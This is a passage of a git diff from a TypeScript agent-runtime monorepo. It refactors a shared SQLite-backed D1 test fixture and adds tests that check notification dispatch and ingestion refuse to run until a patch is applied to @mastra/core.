all: async () => ({ - success: true, - results: db.prepare(sql).all(...params), - meta: {}, - }), - }; - } - - return { - prepare: (sql: string) => statement(sql, []), - batch: async ( - statements: Array<{ - run: () => Promise; - [runSync]?: () => unknown; - }>, - ) => { - db.exec('BEGIN IMMEDIATE'); - try { - const results = []; - for (const prepared of statements) { - results.push( - prepared[runSync] ? prepared[runSync]() : await prepared.run(), - ); - } - db.exec('COMMIT'); - return results; - } catch (error) { - db.exec('ROLLBACK'); - throw error; - } - }, - }; -} - describe('starter run lifecycle wiring', () => { it('FS8 D3 host activation passes the verified instance to cold alarm recovery', async () => { const db = sqliteUnitDatabase(openSqlite()) as Env['DB']; diff --git a/packages/agent-starter/test/execution-fence-composition.test.ts b/packages/agent-starter/test/execution-fence-composition.test.ts index d5c03134..0eff7560 100644 --- a/packages/agent-starter/test/execution-fence-composition.test.ts +++ b/packages/agent-starter/test/execution-fence-composition.test.ts @@ -17,92 +17,7 @@ import { describe, expect, it } from 'vitest'; import { starterMaintenanceTick } from '../src/maintenance.js'; import { contextForPrincipal } from '../src/principal-context.js'; import { createComposedStorage, schedulesStore } from '../src/storage.js'; - -interface SqliteStatement { - get(...params: unknown[]): unknown; - run(...params: unknown[]): unknown; - all(...params: unknown[]): unknown[]; -} - -interface SqliteDatabase { - prepare(sql: string): SqliteStatement; - exec(sql: string): void; -} - -function openSqlite(): SqliteDatabase { - const getBuiltin = ( - globalThis as { - process?: { getBuiltinModule?: (id: string) => unknown }; - } - ).process?.getBuiltinModule; - if (!getBuiltin) { - throw new Error('node:sqlite unavailable; tests require Node.js 22.13+'); - } - const mod = getBuiltin('node:sqlite') as { - DatabaseSync: new (path: string) => SqliteDatabase; - }; - return new mod.DatabaseSync(':memory:'); -} - -function sqliteUnitDatabase(db: SqliteDatabase): unknown { - const runSync = Symbol('runSync'); - - function statement(sql: string, params: unknown[]): Record { - const execute = () => { - const results = db.prepare(sql).all(...params); - const outcome = db.prepare('SELECT changes() AS count').get() as { - count: number | bigint; - }; - return { - success: true, - results, - meta: { changes: Number(outcome.count) }, - }; - }; - return { - bind: (...values: unknown[]) => statement(sql, values), - first: async (column?: string) => { - const row = db.prepare(sql).get(...params) as - | Record - | undefined; - if (row === undefined) return null; - return column === undefined ? row : (row[column] ?? null); - }, - run: async () => execute(), - [runSync]: execute, - all: async () => ({ - success: true, - results: db.prepare(sql).all(...params), - meta: {}, - }), - }; - } - - return { - prepare: (sql: string) => statement(sql, []), - batch: async ( - statements: Array<{ - run: () => Promise; - [runSync]?: () => unknown; - }>, - ) => { - db.exec('BEGIN IMMEDIATE'); - try { - const results = []; - for (const prepared of statements) { - results.push( - prepared[runSync] ? prepared[runSync]() : await prepared.run(), - ); - } - db.exec('COMMIT'); - return results; - } catch (error) { - db.exec('ROLLBACK'); - throw error; - } - }, - }; -} +import { openSqlite, sqliteUnitDatabase } from './sqlite.js'; const NOW = 1_750_000_000_000; diff --git a/packages/agent-starter/test/maintenance-tick-refusal.test.ts b/packages/agent-starter/test/maintenance-tick-refusal.test.ts index d2559b93..88ff08c6 100644 --- a/packages/agent-starter/test/maintenance-tick-refusal.test.ts +++ b/packages/agent-starter/test/maintenance-tick-refusal.test.ts @@ -1,7 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -// The maintenance tick against an @mastra/core that refuses notification -// dispatch construction. The mocks are file-scoped, so these cases live apart -// from the rest of the starter's tick coverage. +// The maintenance tick against a mocked `createNotificationDispatchTick`: +// refusing the way an unpatched @mastra/core does, and constructing where a +// case overrides it. The mocks are file-scoped, so these cases live apart from +// the rest of the starter's tick coverage. import type { ScheduleTickOptions, @@ -21,19 +22,33 @@ const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/; // above module-scope bindings, so one closing over a plain `const` throws // `Cannot access '' before initialization` at import. const mocks = vi.hoisted(() => { + const scheduleResult: ScheduleTickResult = { + due: 0, + fired: 0, + skipped: 0, + failed: 0, + deferred: 0, + reconciled: 0, + lost: 0, + }; + const notificationResult: NotificationDispatchTickResult = { + due: 2, + delivered: 1, + failed: 1, + }; const scheduleTick = vi.fn( - async (): Promise => ({ - due: 0, - fired: 0, - skipped: 0, - failed: 0, - deferred: 0, - reconciled: 0, - lost: 0, + async (): Promise => ({ ...scheduleResult }), + ); + const notificationTick = vi.fn( + async (): Promise => ({ + ...notificationResult, }), ); return { + scheduleResult, + notificationResult, scheduleTick, + notificationTick, createScheduleTick: vi.fn( (_options: ScheduleTickOptions): (() => Promise) => scheduleTick, @@ -69,7 +84,7 @@ vi.mock('@proofoftech/flowsafe/signals', async (importOriginal) => ({ function namespace(): Env['RUNNER'] { const unreachable = () => { throw new Error( - 'a fenced maintenance pass addressed a Durable Object — it claimed work', + 'the maintenance tick addressed a Durable Object; no pass in this file should', ); }; return { @@ -95,13 +110,14 @@ function starterEnv(): Env { } as unknown as Env; } -describe('starter maintenance tick against an unpatched core', () => { - beforeEach(() => { - mocks.scheduleTick.mockClear(); - mocks.createScheduleTick.mockClear(); - mocks.createNotificationDispatchTick.mockClear(); - }); +beforeEach(() => { + mocks.scheduleTick.mockClear(); + mocks.createScheduleTick.mockClear(); + mocks.createNotificationDispatchTick.mockClear(); + mocks.notificationTick.mockClear(); +}); +describe('starter maintenance tick against an unpatched core', () => { it('wires the duty without constructing the notification tick', () => { expect(() => starterMaintenanceTick(starterEnv())).not.toThrow(); expect(mocks.createNotificationDispatchTick).not.toHaveBeenCalled(); @@ -126,3 +142,26 @@ describe('starter maintenance tick against an unpatched core', () => { expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(2); }); }); + +describe('starter maintenance tick with a constructing factory', () => { + it('invokes the constructed tick on each pass and constructs it once', async () => { + mocks.createNotificationDispatchTick.mockImplementationOnce( + () => mocks.notificationTick, + ); + const tick = starterMaintenanceTick(starterEnv()); + + const first = await tick(); + const second = await tick(); + + // Both legs' results reach the caller, so a notificationTick that returned + // the constructed tick instead of calling it goes red here. + const composed = { + schedules: mocks.scheduleResult, + notifications: mocks.notificationResult, + }; + expect(first).toEqual(composed); + expect(second).toEqual(composed); + expect(mocks.notificationTick).toHaveBeenCalledTimes(2); + expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(1); + }); +}); diff --git a/packages/agent-starter/test/sqlite.ts b/packages/agent-starter/test/sqlite.ts new file mode 100644 index 00000000..93858030 --- /dev/null +++ b/packages/agent-starter/test/sqlite.ts @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: Apache-2.0 +// The node:sqlite-backed D1 facade the starter's unit suites share. It is not +// D1, workerd or Worker-runtime evidence: those claims belong to the Wrangler +// harness in the flowsafe package. + +interface SqliteStatement { + get(...params: unknown[]): unknown; + all(...params: unknown[]): unknown[]; +} + +export interface SqliteDatabase { + prepare(sql: string): SqliteStatement; + exec(sql: string): void; +} + +export function openSqlite(): SqliteDatabase { + const getBuiltin = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule; + if (!getBuiltin) { + throw new Error('node:sqlite unavailable; tests require Node.js 22.13+'); + } + const mod = getBuiltin('node:sqlite') as { + DatabaseSync: new (path: string) => SqliteDatabase; + }; + return new mod.DatabaseSync(':memory:'); +} + +export function sqliteUnitDatabase(db: SqliteDatabase): unknown { + const runSync = Symbol('runSync'); + + function statement(sql: string, params: unknown[]): Record { + const execute = () => { + const results = db.prepare(sql).all(...params); + const outcome = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; + }; + return { + success: true, + results, + meta: { changes: Number(outcome.count) }, + }; + }; + return { + bind: (...values: unknown[]) => statement(sql, values), + first: async (column?: string) => { + const row = db.prepare(sql).get(...params) as + | Record + | undefined; + if (row === undefined) return null; + return column === undefined ? row : (row[column] ?? null); + }, + run: async () => execute(), + [runSync]: execute, + all: async () => ({ + success: true, + results: db.prepare(sql).all(...params), + meta: {}, + }), + }; + } + + return { + prepare: (sql: string) => statement(sql, []), + batch: async ( + statements: Array<{ + run: () => Promise; + [runSync]?: () => unknown; + }>, + ) => { + db.exec('BEGIN IMMEDIATE'); + try { + const results = []; + for (const prepared of statements) { + results.push( + prepared[runSync] ? prepared[runSync]() : await prepared.run(), + ); + } + db.exec('COMMIT'); + return results; + } catch (error) { + db.exec('ROLLBACK'); + throw error; + } + }, + }; +} diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 627bf668..01a62b30 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -443,9 +443,9 @@ A policy failure is opaque: direct delivery returns 503, schedule state is left Configure the same positive safe-integer `maxDeliveryAttempts` on `createNotificationDispatchTick()` and `createThreadSignalRoutes()`. Both default to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. A recorded failure at the bound discards the notification with `deliveryReason: "delivery-attempts-exhausted"`, retaining its count and last error. An already-exhausted row is never sent; its discard is conditional on the observed record remaining current. Below the bound, existing retry delays apply. -Dispatch requires `NotificationDeliveryStorage`; `D1NotificationsStorage` implements it. A custom store's `updateNotificationDeliveryIfUnchanged()` must compare the captured observation and apply the failure patch atomically against its other writers. Ordinary Core notification ingestion remains supported. See the [delivery and receipt guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#bound-notification-delivery) for custom-store migration, lost responses and receipt retention. +Dispatch requires `NotificationDeliveryStorage`; `D1NotificationsStorage` implements it. A custom store's `updateNotificationDeliveryIfUnchanged()` must compare the captured observation and apply the failure patch atomically against its other writers. Ordinary Core storage still serves notification ingestion; the `@mastra/core` patch is required for either path. See the [delivery and receipt guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#bound-notification-delivery) for custom-store migration, lost responses and receipt retention. -Summary source counts and a configured source delivery policy read own properties only where the shipped `@mastra/core` patch is applied; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch on an unpatched install. +Summary source counts and a configured source delivery policy read own properties only where the shipped `@mastra/core` patch is applied; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses notification ingestion and dispatch on an unpatched install, and refuses to construct a notification dispatch tick that does delivery work. Adapt Breakwater without adding a FlowSafe runtime dependency on it: diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 50e92b0c..f97ccc07 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -36,9 +36,10 @@ function run(command, args, cwd = packageRoot) { }); } -/** The ordinary consumer keeps @mastra/core's inherited-source-key defect. */ -function assertUnpatchedConsumerDefect(consumer) { - const sourceKeyProbe = `import { +// Both consumers run this identical script, so their probe results are +// comparable: the ordinary one keeps @mastra/core's inherited-source-key +// defect, the patched one does not. +const SOURCE_KEY_PROBE = `import { resolveNotificationDeliveryDecision, summarizeNotifications, } from '@mastra/core/notifications'; @@ -73,7 +74,9 @@ console.log( ); `; - writeFileSync(join(consumer, 'source-key-probe.mjs'), sourceKeyProbe); +/** The ordinary consumer keeps @mastra/core's inherited-source-key defect. */ +function assertUnpatchedConsumerDefect(consumer) { + writeFileSync(join(consumer, 'source-key-probe.mjs'), SOURCE_KEY_PROBE); const unpatchedProbe = JSON.parse( execFileSync(process.execPath, ['source-key-probe.mjs'], { cwd: consumer, @@ -91,7 +94,11 @@ console.log( }); } -/** A consumer that records the shipped patch through pnpm installs it patched. */ +/** + * A consumer that records the shipped patch through pnpm installs it patched, + * and proves notification delivery bookkeeping there, which only a patched core + * runs. + */ function assertPatchedConsumerInstall(consumer, patchName, shippedPatch) { const patchedConsumer = join(temporary, 'consumer-patched'); mkdirSync(patchedConsumer); @@ -113,9 +120,9 @@ function assertPatchedConsumerInstall(consumer, patchName, shippedPatch) { join(patchedConsumer, 'pnpm-workspace.yaml'), ); copyFileSync(join(consumer, '.npmrc'), join(patchedConsumer, '.npmrc')); - copyFileSync( - join(consumer, 'source-key-probe.mjs'), + writeFileSync( join(patchedConsumer, 'source-key-probe.mjs'), + SOURCE_KEY_PROBE, ); // notification-runtime.mjs imports sqlite-fixture.mjs from its own directory, // and its package specifiers resolve here because this manifest clones the @@ -239,7 +246,9 @@ function assertToolNeutralPatchRoute(consumer, patchName, shippedPatch) { 1, 'the getting-started guide must document one postinstall command', ); - const command = documented[0][1]; + // The guide's block is JSON source text; a consumer's manifest is parsed + // before the shell sees the value, so parse it the same way. + const command = JSON.parse(`"${documented[0][1]}"`); // This site departs from the file's argv-only convention because the // documented command is a shell string carrying redirection and ||, and // running what the guide prints is what makes the guide's verification @@ -1133,7 +1142,7 @@ for (const name of ['claim', 'release', 'settleRun']) { } for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules, signals]) { - for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'assertNotificationSourceKeysPatched', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) { assert.equal(name in api, false, name); } } @@ -1141,10 +1150,6 @@ assert.equal(signals.DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, 10); const notificationSql = openSqlite(); const notificationStore = new signals.D1NotificationsStorage(sqliteUnitDatabase(notificationSql)); const notificationNow = new Date(); -await notificationStore.createNotification({ - id: 'packed-notification', threadId: 'notification-thread', resourceId: 'notification-thread', agentId: 'writer', - source: 'packed', kind: 'changed', summary: 'delivery receipt', deliverAt: notificationNow, -}); const notificationContext = approvals.createPrincipalActorContext({ principal: approvals.trustAutomationPrincipal({ kind: 'system', id: 'notification-dispatch', purpose: 'notification.dispatch' }), storeFactory: new approvals.InMemoryApprovalStoreFactory(), @@ -1160,28 +1165,42 @@ const notificationTickOptions = { }; assert.throws(() => signals.createNotificationDispatchTick(notificationTickOptions), { name: 'TypeError', message: /Apply the flowsafe patch to @mastra\\/core/ }); let unsupportedNotificationReads = 0; +let notificationSends = 0; const unsupportedNotificationRoutes = signals.createThreadSignalRoutes({ - resolveAgent: () => ({ id: 'writer' }), + resolveAgent: () => ({ id: 'writer', sendNotificationSignal: async () => { notificationSends++; return { id: 'sent' }; } }), resolveResourceId: () => 'notification-thread', resolveNotificationsStorage: () => ({ getNotification: async () => { unsupportedNotificationReads++; return null; }, }), }); -const notificationLog = console.error; -const notificationRefusals = []; -let unsupportedNotificationResponse; -try { - console.error = (...args) => { notificationRefusals.push(args.map(String).join(' ')); }; - unsupportedNotificationResponse = await unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', { - method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }), - }), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) }); -} finally { - console.error = notificationLog; +async function withCapturedErrors(run) { + const logged = []; + const consoleError = console.error; + let response; + try { + console.error = (...args) => { logged.push(args.map(String).join(' ')); }; + response = await run(); + } finally { + console.error = consoleError; + } + return { response, logged }; } +const { response: unsupportedNotificationResponse, logged: notificationRefusals } = await withCapturedErrors(() => unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', { + method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }), +}), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) })); assert.equal(unsupportedNotificationResponse.status, 502); assert.deepEqual(await unsupportedNotificationResponse.json(), { error: 'internal error' }); assert.equal(unsupportedNotificationReads, 0); assert.equal(notificationRefusals.some((line) => line.includes('Apply the flowsafe patch to @mastra/core')), true, 'the refusal naming the patch must reach console.error'); +const { response: ingestionResponse, logged: ingestionRefusals } = await withCapturedErrors(() => unsupportedNotificationRoutes(new Request('https://thread/signal/notification', { + method: 'POST', body: JSON.stringify({ source: 'constructor', kind: 'changed', summary: 'ingested' }), +}), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) })); +assert.equal(ingestionResponse.status, 502); +assert.deepEqual(await ingestionResponse.json(), { error: 'internal error' }); +// The stub carries sendNotificationSignal, so an uncalled sender is what tells +// the patch refusal from a missing-method TypeError on the same route catch. +assert.equal(notificationSends, 0); +assert.equal(ingestionRefusals.some((line) => line.includes('Apply the flowsafe patch to @mastra/core')), true, 'the ingestion refusal naming the patch must reach console.error'); notificationSql.close(); for (const api of [flowsafe, doRunner, hostKit]) { for (const name of ['FENCED_SCHEDULE_STORAGE', 'ScheduleMutationConflictError', 'ScheduleMutationOutcomeUnknownError']) { @@ -1526,11 +1545,21 @@ export default { true, 'the packed package must ship the @mastra/core patch', ); - // files publishes this one path, so anything else left in patches/ would - // ship to consumers unremarked. - assert.deepEqual(readdirSync(join(packageDirectory, 'patches')).sort(), [ - patchName, - ]); + // The manifest entry pins what npm-packlist may take; comparing the source + // directory with the shipped one pins that the published set equals the set + // this repository holds, and fails in both directions. + for (const entry of manifest.files ?? []) { + if (!entry.startsWith('patches/')) continue; + assert.equal( + existsSync(join(packageRoot, entry)), + true, + `${entry} is published but has no source file`, + ); + } + assert.deepEqual( + readdirSync(join(packageRoot, 'patches')).sort(), + readdirSync(join(packageDirectory, 'patches')).sort(), + ); assertUnpatchedConsumerDefect(consumer); assertPatchedConsumerInstall(consumer, patchName, shippedPatch); diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts index 85b4749a..b73da86a 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.test.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts @@ -2996,7 +2996,13 @@ function retentionIntercept( } hooks.beforeBatch?.(); const results = await db.batch(prepared); - return hooks.afterBatch ? hooks.afterBatch(results) : results; + // The hooks hand back `unknown[]` on purpose: that is what a wrong + // adapter returns. + return hooks.afterBatch + ? (hooks.afterBatch(results) as Awaited< + ReturnType + >) + : results; }, }; } diff --git a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts index 3e5435c0..fd9a3e28 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts @@ -22,7 +22,10 @@ export const FENCED_WORKFLOW_STORAGE: unique symbol = Symbol( ); export interface InitialAdmissionDatabase extends SnapshotDatabase { - batch(statements: SnapshotStatement[]): Promise; + /** `SnapshotDatabase.batch`, required: admission cannot run without it. */ + batch( + statements: SnapshotStatement[], + ): ReturnType>; } export interface InitialRunAdmission { diff --git a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts index 91aae8c6..d461ec8e 100644 --- a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts +++ b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts @@ -34,7 +34,7 @@ describe('native SQLite unit batch transport', () => { ]); expect( await db.prepare("INSERT INTO fixture(value) VALUES ('ordinary')").run(), - ).toEqual({ success: true, meta: { changes: 1 } }); + ).toEqual({ success: true, results: [], meta: { changes: 1 } }); expect( await db.prepare('SELECT value FROM fixture WHERE id = 2').all(), ).toEqual({ success: true, results: [{ value: 'ordinary' }], meta: {} }); diff --git a/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts index 09796883..80d8524c 100644 --- a/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts +++ b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts @@ -8,7 +8,17 @@ import { validateTablePrefix } from './table-prefix.js'; /** Structural D1 surface; a transactional batch is required for admission. */ export interface SnapshotDatabase { prepare(query: string): SnapshotStatement; - batch?(statements: SnapshotStatement[]): Promise; + /** + * Initial admission (`captureBatchResults`, fenced-workflows-d1.ts) reads + * `results` off every element; retention (`retentionBatchResult`, + * d1-storage.ts) reads `results` off the first element and requires + * `meta.changes` as a safe non-negative integer off the rest. So a + * hand-written adapter returning only `meta`, or omitting `meta` after the + * first element, fails at runtime. + */ + batch?( + statements: SnapshotStatement[], + ): Promise>; } export interface SnapshotStatement { diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 599a5c73..8c1fffb6 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -461,7 +461,10 @@ export interface FlowsafeWorkerConfig * (which needs the schedules store, its run-start seam — topology.start — and * the run-cap + audit config) and returns the closure here. The composer runs * it as its OWN failure-isolated alarm duty (own try/catch, - * own `schedule-tick` log line). INJECTED (not built here, structurally typed as + * own `schedule-tick` log line). The composer invokes THIS BUILDER outside + * that try, so a builder that throws is logged as `maintenance-error` with + * `surface: 'tick-duty'`; build a factory that can refuse at construction + * inside the returned closure. INJECTED (not built here, structurally typed as * `() => Promise`) because createScheduleTick lives in `schedules/`, * which transitively imports host-kit — host-kit importing it back would cycle. * Absent (or `tickIntervalMs` unset) ⇒ no tick invocation. diff --git a/packages/flowsafe/src/schedules/schedules-d1.test.ts b/packages/flowsafe/src/schedules/schedules-d1.test.ts index 34e3df39..f643b94a 100644 --- a/packages/flowsafe/src/schedules/schedules-d1.test.ts +++ b/packages/flowsafe/src/schedules/schedules-d1.test.ts @@ -83,7 +83,13 @@ async function mutationFixture() { hooks.beforeBatch = undefined; await before?.(); const results = await native.batch(statements); - return hooks.afterBatch ? hooks.afterBatch(results) : results; + // The hooks hand back `unknown[]` on purpose: that is what a wrong + // adapter returns. + return hooks.afterBatch + ? (hooks.afterBatch(results) as Awaited< + ReturnType> + >) + : results; }, }; const store = new D1SchedulesStorage(binding); diff --git a/packages/flowsafe/src/signals/d1-shared.ts b/packages/flowsafe/src/signals/d1-shared.ts index 8f55d8e6..ed5a151e 100644 --- a/packages/flowsafe/src/signals/d1-shared.ts +++ b/packages/flowsafe/src/signals/d1-shared.ts @@ -25,9 +25,14 @@ export interface SignalDatabase { /** * D1's transactional prepared-statement batch. Optional because the simpler * signal domains need only `prepare`; notification schema migration requires - * it so rollback writers cannot interleave with ordinal backfill. + * it so rollback writers cannot interleave with ordinal backfill. The + * schedules domain reads `results` off a batch element and off `.all()`, so an + * element carries the rows a `D1Result` always carries; a hand-written adapter + * that returns only `meta` fails there at runtime. */ - batch?(statements: SignalStatement[]): Promise; + batch?( + statements: SignalStatement[], + ): Promise>; } /** Rows affected by a D1 write, read from its `{ meta: { changes } }` envelope. */ diff --git a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts index 3469978f..7ec5fd51 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts @@ -61,14 +61,32 @@ function scope(): ThreadScope { } as unknown as ThreadScope; } -function post(body: unknown): Request { - return new Request('http://thread/signal/notifications/dispatch', { +function post(path: string, body: unknown): Request { + return new Request(`http://thread${path}`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify(body), }); } +/** The route catch surfaces its refusal through `console.error`. */ +async function withCapturedErrors( + run: () => Promise, +): Promise<{ response: Response | null | undefined; logged: string[] }> { + const logged: string[] = []; + const consoleError = console.error; + let response: Response | null | undefined; + try { + console.error = (...args: unknown[]) => { + logged.push(args.map(String).join(' ')); + }; + response = await run(); + } finally { + console.error = consoleError; + } + return { response, logged }; +} + describe('notification dispatch against an unpatched @mastra/core', () => { it('refuses tick construction, naming the patch', () => { expect(() => createNotificationDispatchTick(tickOptions())).toThrow( @@ -79,10 +97,14 @@ describe('notification dispatch against an unpatched @mastra/core', () => { ); }); - it('refuses tick construction for a zero limit too', () => { - expect(() => - createNotificationDispatchTick(tickOptions({ limit: 0 })), - ).toThrow(PATCH_MESSAGE); + it('builds a zero-limit tick, which does no notification work', async () => { + const tick = createNotificationDispatchTick(tickOptions({ limit: 0 })); + + await expect(tick()).resolves.toEqual({ + due: 0, + delivered: 0, + failed: 0, + }); }); it('refuses a dispatch request without reading a notification', async () => { @@ -101,25 +123,17 @@ describe('notification dispatch against an unpatched @mastra/core', () => { storage as unknown as NotificationsStorage, }); - const logged: string[] = []; - const consoleError = console.error; - let response: Response | null | undefined; - try { - console.error = (...args: unknown[]) => { - logged.push(args.map(String).join(' ')); - }; - response = await routes( - post({ + const { response, logged } = await withCapturedErrors(() => + routes( + post('/signal/notifications/dispatch', { notificationIds: ['n1'], resourceId: 'acme_res', agentId: 'agent', now: '2026-07-20T12:00:00.000Z', }), scope(), - ); - } finally { - console.error = consoleError; - } + ), + ); // Status and body match the conditional-storage capability refusal, which // takes the same route catch; the logged message is what tells them apart. @@ -128,4 +142,32 @@ describe('notification dispatch against an unpatched @mastra/core', () => { expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); expect(storage.getNotification).not.toHaveBeenCalled(); }); + + it("refuses an ingestion request without reaching core's sender", async () => { + const sendNotificationSignal = vi.fn(); + const routes = createThreadSignalRoutes({ + resolveAgent: () => + ({ id: 'agent', sendNotificationSignal }) as unknown as Agent, + resolveResourceId: () => 'acme_res', + }); + + const { response, logged } = await withCapturedErrors(() => + routes( + post('/signal/notification', { + source: 'constructor', + kind: 'changed', + summary: 's', + }), + scope(), + ), + ); + + // The agent stub carries the method: an absent one throws its own TypeError + // into the same catch, for the same status and body, so the uncalled spy is + // what tells the patch refusal from a stub-shape fault. + expect(response?.status).toBe(502); + expect(await response?.json()).toEqual({ error: 'internal error' }); + expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); + expect(sendNotificationSignal).not.toHaveBeenCalled(); + }); }); diff --git a/packages/flowsafe/src/signals/notification-dispatch.ts b/packages/flowsafe/src/signals/notification-dispatch.ts index 41cf36cb..1a07ccea 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.ts @@ -450,13 +450,14 @@ export function captureNotificationDeliveryStorage( }; } -// Core's inline summary sender and the thread-DO summary route both reach -// Core's summarizeNotifications; unpatched, a source named after an -// Object.prototype member is miscounted in the summary a receipt is recorded -// against, and Core's own source-policy lookup resolves an inherited entry -// instead of the configured action. A behaviour probe rather than a prototype -// check lets any correct upstream fix pass. The record is the getting-started -// guide's confirmation record. +// Guarded reaches into Core's patched functions: the thread-DO dispatch +// route's summary group, the notification ingestion gate's prospective +// summary, and Core's inline sender behind agent.sendNotificationSignal. +// Unpatched, a source named after an Object.prototype member is miscounted in +// the summary a receipt is recorded against, and Core's own source-policy +// lookup resolves an inherited entry instead of the configured action. A +// behaviour probe rather than a prototype check lets any correct upstream fix +// pass. The record is the getting-started guide's confirmation record. const SOURCE_KEY_PROBE: NotificationRecord = { id: 'n', threadId: 't', @@ -696,8 +697,8 @@ export function createNotificationDispatchTick( options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, 'notification maximum delivery attempts', ); - assertNotificationSourceKeysPatched(); if (limit === 0) return async () => ({ due: 0, delivered: 0, failed: 0 }); + assertNotificationSourceKeysPatched(); const { storage, topology, @@ -797,7 +798,6 @@ export function createNotificationDispatchTick( continue; } const resourceId = record.resourceId; - if (!resourceId) continue; const key = `${record.threadId}\0${resourceId}\0${record.agentId}`; const group = groups.get(key) ?? { threadId: record.threadId, diff --git a/packages/flowsafe/src/signals/notification-source-keys.test.ts b/packages/flowsafe/src/signals/notification-source-keys.test.ts index 5db581dd..f17ab904 100644 --- a/packages/flowsafe/src/signals/notification-source-keys.test.ts +++ b/packages/flowsafe/src/signals/notification-source-keys.test.ts @@ -439,33 +439,34 @@ describe.skipIf(!patched.get('esm'))( agents: { 'inline-summary': agent }, logger: false, }); + const threadId = crypto.randomUUID(); const runtime = mastra.agentThreadStreamRuntime; const pubsub = agent.getPubSub(); - const threadId = crypto.randomUUID(); - await memory.saveThread({ - thread: { - id: threadId, - resourceId: 'resource-keys', - createdAt: CREATED_AT, - updatedAt: CREATED_AT, - metadata: {}, - }, - }); - await agent.stream('active turn', { - runId: crypto.randomUUID(), - memory: { thread: threadId, resource: 'resource-keys' }, - }); - await vi.waitFor(() => - expect( - runtime.getThreadState( - { threadId, resourceId: 'resource-keys' }, - pubsub, - ), - ).toBe('active'), - ); - const emitted = vi.spyOn(runtime, 'sendSignal'); try { + await memory.saveThread({ + thread: { + id: threadId, + resourceId: 'resource-keys', + createdAt: CREATED_AT, + updatedAt: CREATED_AT, + metadata: {}, + }, + }); + await agent.stream('active turn', { + runId: crypto.randomUUID(), + memory: { thread: threadId, resource: 'resource-keys' }, + 